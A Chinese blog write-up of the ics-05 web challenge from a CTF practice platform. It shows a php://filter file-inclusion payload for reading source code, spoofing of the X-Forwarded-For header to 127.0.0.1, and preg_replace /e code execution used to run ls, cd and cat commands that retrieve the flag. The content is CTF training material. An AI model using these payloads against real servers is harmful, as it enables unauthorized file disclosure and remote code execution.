攻防世界web进阶ics-05 详细wp

攻防世界web进阶区ics-05 wp

题目网站


根据题目提示选择设备维护中心,或者简单粗暴的全都点一遍,发现也只有设备维护中心能点开

打开后 F12 调网页源码 查看后发现
在这里插入图片描述
?page=index 有page这个get参数
自然联想到可能存在利用文件包含读取网页源码的漏洞
这里给出利用php内置filter协议读取文件的代码

?page=php://filter/read=convert.base64-encode/resource=index.php

利用网页中自带的page传参漏洞?page=
代码的后半段参考另一个博主对于LFI读取php源码的解释
点这查看解释

查看网页得到base64加密后的代码

在这里插入图片描述
放到base64解密里得到php代码


if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

代码审计得

(1)需要在html的头格式中伪造 IP : 127.0.0.1

这里用burpsuite伪造IP
在这里插入图片描述
出现 Welcome My Admin! 证明伪造成功

(2)接下来是最关键的利用preg_replace()函数的/e漏洞进行代码执行

首先简单介绍一下preg_replace()函数

preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern:       要搜索的模式,可以是字符串或一个字符串数组。
$replacement:   用于替换的字符串或字符串数组。
$subject:       要搜索替换的目标字符串或字符串数组。

接着关于/e漏洞

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向
引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,
否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码

后面就是利用这个漏洞去进行文件读取,找到关于flag的线索

第一步尝试使用 system(“ls”) 获取文件目录
在这里插入图片描述
成功读取文件目录,同时发现目录下的 s3chahahaDir 文件的名字很可疑
想到进入该文件中查看内容

第二步 cd 到 s3chahahaDir 这个文件夹下查看内容
cd命令为 system("cd%20s3chahahaDir%26%26%20ls")
解释一下,%20代表空格,%26%26就是&&代表当前面命令执行成功时,继续执行后面的命令,读取s3chahahaDir文件夹内容。于是有
在这里插入图片描述
发现flag文件,猜想大概率正确
再使用刚刚的 cd命令 system("cd%20s3chahahaDir/flag%26%26%20ls")
查看flag文件的内容

发现flag.php
最后使用cat命令读取flag.php中的内容
命令代码:system("cat%20s3chahahaDir/flag/flag.php")
得到flag
在这里插入图片描述

知识点总结:

(1)利用php内置filter协议读取文件的代码
(2)伪造IP
(3)preg_replace()函数的/e漏洞
(4)正确的php system()函数的书写

对于题目"web-ics-05",根据提供的引用内容,我们可以得到以下信息: - 这道题可能是在入侵后利用管理平台来完成一些信息的收集,读取文件并利用是非常重要的。\[1\] - 在源代码中有一段注释,提到要给HTTP头部添加X-forwarded-For=127.0.0.1。\[2\] - preg_replace函数可以执行正则表达式的搜索和替换。\[3\] 根据这些信息,我们可以推测"web-ics-05"可能是一道关于入侵和利用管理平台的题目,要求读取文件并进行一些操作,同时还需要使用preg_replace函数进行正则表达式的搜索和替换。具体的题目要求和操作细节可能需要进一步的信息才能确定。 #### 引用[.reference_title] - *1* *3* [xctf-web-ics05](https://blog.csdn.net/zhejichensha_l7l/article/details/113530046)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [攻防世界-ics-05-(详细操作)做题笔记](https://blog.csdn.net/qq_43715020/article/details/125291336)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值